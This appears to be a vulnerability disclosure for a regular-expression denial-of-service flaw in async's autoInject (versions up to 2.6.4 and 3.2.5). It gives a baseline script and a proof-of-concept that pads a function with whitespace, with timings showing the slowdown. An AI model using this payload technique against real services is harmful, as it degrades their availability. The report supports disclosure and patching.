Vulnerability Type
Regular expression Denial of Service (ReDoS)
Affected Product and Version
Async version ≤ 2.6.4 and ≤3.2.5
Attack Vector
Async parse function contains crafted payload.
Description
Async version ≤ 2.6.4 and ≤3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject
function.
PoC
Vulnerable regular expression: https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L6
Regular expression execute at: https://github.com/caolan/async/blob/v3.2.5/lib/autoInject.js#L41
We will modify baseline.js and compare computation time difference after trigger ReDoS vulnerability.
//baseline.js
const async = require('async');
/**
* adds 3 to a number after 2 seconds
* @param text
* @returns {Promise<unknown>}
*/
const add3 = (number = 1) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve(number + 3)
}, 20)
})
}
/**
* Multiplies after 2 seconds
* @param a
* @param b
* @returns {Promise<unknown>}
*/
const mulitply = (a,b) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve(a*b)
}, 20)
})
}
/**
* A control flow using async.autoInject
* @type {string}
*/
const timerId = 'asyncAuto'
console.time(timerId);
async.autoInject({
fivePlus3: async () => add3(5),
onePlus3: async () => add3(1),
multiplyTheAboveTwoProps: async (fivePlus3,onePlus3) => mulitply(fivePlus3,onePlus3), // takes the resolved values of the fivePlus3,onePlus3
add3ToFinal: async (multiplyTheAboveTwoProps) => add3(multiplyTheAboveTwoProps), // takes the resolved value of multiplyTheAboveTwoProps
add3TofivePlus3: async (fivePlus3) => add3(fivePlus3) // takes the resolved value of fivePlus3
}).then(r => {
console.timeEnd(timerId);
console.log('finished controlled flow', r)
})
//Output from running: node baseline.js
asyncAuto: 67.438ms
finished controlled flow {
fivePlus3: 8,
onePlus3: 4,
add3TofivePlus3: 11,
multiplyTheAboveTwoProps: 32,
add3ToFinal: 35
}
//poc.js
const async = require('async');
/**
* adds 3 to a number after 2 seconds
* @param text
* @returns {Promise<unknown>}
*/
const add3 = (number = 1) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve(number + 3)
}, 20)
})
}
/**
* Multiplies after 2 seconds
* @param a
* @param b
* @returns {Promise<unknown>}
*/
const mulitply = (a,b) => {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve(a*b)
}, 20)
})
}
/**
* A control flow using async.autoInject
* @type {string}
*/
const timerId = 'asyncAuto'
console.time(timerId);
async.autoInject({
fivePlus3: async () => add3(5),
onePlus3: async () => add3(1),
//Add ' '*500 right after async
multiplyTheAboveTwoProps: async (fivePlus3,onePlus3) => mulitply(fivePlus3,onePlus3), // takes the resolved values of the fivePlus3,onePlus3
add3ToFinal: async (multiplyTheAboveTwoProps) => add3(multiplyTheAboveTwoProps), // takes the resolved value of multiplyTheAboveTwoProps
add3TofivePlus3: async (fivePlus3) => add3(fivePlus3) // takes the resolved value of fivePlus3
}).then(r => {
console.timeEnd(timerId);
console.log('finished controlled flow', r)
})
//Output from running: node poc.js
asyncAuto: 1.852s
finished controlled flow {
fivePlus3: 8,
onePlus3: 4,
add3TofivePlus3: 11,
multiplyTheAboveTwoProps: 32,
add3ToFinal: 35
}
In summary, the increasing of whitespace leading to more computation overhead from regular expression.